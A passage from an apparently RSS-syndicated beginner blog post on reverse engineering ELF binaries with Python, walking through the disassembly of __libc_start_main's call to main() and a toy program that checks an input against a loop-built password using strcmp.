1193 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1194</blockquote>
1195
1196<p>And its definition is like so</p>
1197
1198<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
1199<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
1200<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1201<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1202<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1203<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1204</code></pre></div>
1205
1206<p>Looking back at our disassembly</p>
1207
1208<pre><code>0x6a0: xor ebp, ebp
12090x6a2: mov r9, rdx
12100x6a5: pop rsi
12110x6a6: mov rdx, rsp
12120x6a9: and rsp, 0xfffffffffffffff0
12130x6ad: push rax
12140x6ae: push rsp
12150x6af: lea r8, [rip + 0x23a]
12160x6b6: lea rcx, [rip + 0x1c3]
1217**0x6bd: lea rdi, [rip + 0xe6]**
12180x6c4: call qword ptr [rip + 0x200916]
12190x6ca: hlt
1220... snip ...
1221</code></pre>
1222
1223<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1224
1225<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1226
1227<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1228
1229<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1230
1231<pre><code>printf 0x650
1232fgets 0x660
1233strcmp 0x670
1234malloc 0x680
1235</code></pre>
1236
1237<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1238
1239<pre><code>0x7b2: mov edi, 0xa ; 10
12400x7b7: call 0x680 ; malloc
1241</code></pre>
1242
1243<p>The loop to populate the <code>*pw</code> string</p>
1244
1245<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
12460x7d3: cdqe
12470x7d5: lea rdx, [rax - 1]
12480x7d9: mov rax, qword ptr [rbp - 0x10]
12490x7dd: add rax, rdx
12500x7e0: movzx eax, byte ptr [rax]
12510x7e3: lea ecx, [rax + 1]
12520x7e6: mov eax, dword ptr [rbp - 0x14]
12530x7e9: movsxd rdx, eax
12540x7ec: mov rax, qword ptr [rbp - 0x10]
12550x7f0: add rax, rdx
12560x7f3: mov edx, ecx
12570x7f5: mov byte ptr [rax], dl
12580x7f7: add dword ptr [rbp - 0x14], 1
12590x7fb: cmp dword ptr [rbp - 0x14], 8
12600x7ff: jle 0x7d0
1261</code></pre>
1262
1263<p>And this looks like our <code>strcmp()</code></p>
1264
1265<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
12660x847: mov rax, qword ptr [rbp - 8] ; *pw
12670x84b: mov rsi, rdx
12680x84e: mov rdi, rax
12690x851: call 0x670 ; strcmp
12700x856: test eax, eax ; is = 0?
12710x858: jne 0x868 ; no? jump to 0x868
12720x85a: lea rdi, [rip + 0xae] ; "haha yes!"
12730x861: call 0x640 ; puts
12740x866: jmp 0x874
12750x868: lea rdi, [rip + 0xaa] ; "nah dude"
12760x86f: call 0x640 ; puts
1277</code></pre>
1278
1279<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1280
1281<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1282
1283<h3 id="conclusion">Conclusion</h3>
1284
1285<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1286
1287<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1288
1289<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1290]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1291</rss>